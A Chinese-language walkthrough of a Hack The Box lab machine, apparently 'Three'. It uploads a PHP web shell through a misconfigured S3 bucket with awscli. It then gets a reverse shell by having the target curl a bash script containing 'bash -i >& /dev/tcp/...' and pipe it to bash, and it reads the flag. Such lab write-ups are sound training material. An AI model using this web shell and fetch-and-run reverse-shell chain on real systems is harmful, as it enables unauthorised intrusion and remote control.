
根据邮件判断出域名为thetoppers.htb

尝试使用dirsearch,没爆破出来

使用gobuster扫描
扫描出s3子域(其实我没爆出来…)
什么是 Amazon S3
就是国内的对象存储,更粗暴的比喻,可以理解成一个云盘(只是一个有接口的云盘)。
下边是官方术语:
Amazon Simple Storage Service (Amazon S3) 是一种对象存储服务,提供行业领先的可扩展性、数据可用性、安全性和性能。各种规模和行业的客户可以为几乎任何使用案例存储和保护任意数量的数据,例如数据湖、云原生应用程序和移动应用程序。借助高成本效益的存储类和易于使用的管理功能,您可以优化成本、组织数据并配置精细调整过的访问控制,从而满足特定的业务、组织和合规性要求。

利用awscli连接

先aws configure一下,这里我随便输入admin
aws --endpoint=http://s3.thetoppers.htb s3 lsaws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htbecho '<?php system($_GET["cmd"]); ?>' > shell.phpaws --endpoint=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb访问http://thetoppers.htb/shell.php?cmd=ls↗可以看到thetoppers.htb桶里的目录及对象
images index.php shell.php
我们通过命令执行shell,curl执行bash脚本反弹shell来实现命令行交互。查看本机ip
ifconfig //10.10.16.20
#!/bin/bashbash -i >& /dev/tcp/10.10.16.20/1337 0>&1nc监听端口
nc -nvlp 1337
python创建简易服务器
python3 -m http.server 8090
目标机curl本机bash文件并执行
http://thetoppers.htb/shell.php?cmd=curl%2010.10.16.20:8090/bash.sh%20|%20bash↗
进行反弹shell
也可以直接浏览器输入以下命令获取flag
http://thetoppers.htb/shell.php?cmd=cat%20../flag.txt(先ls../一下)↗
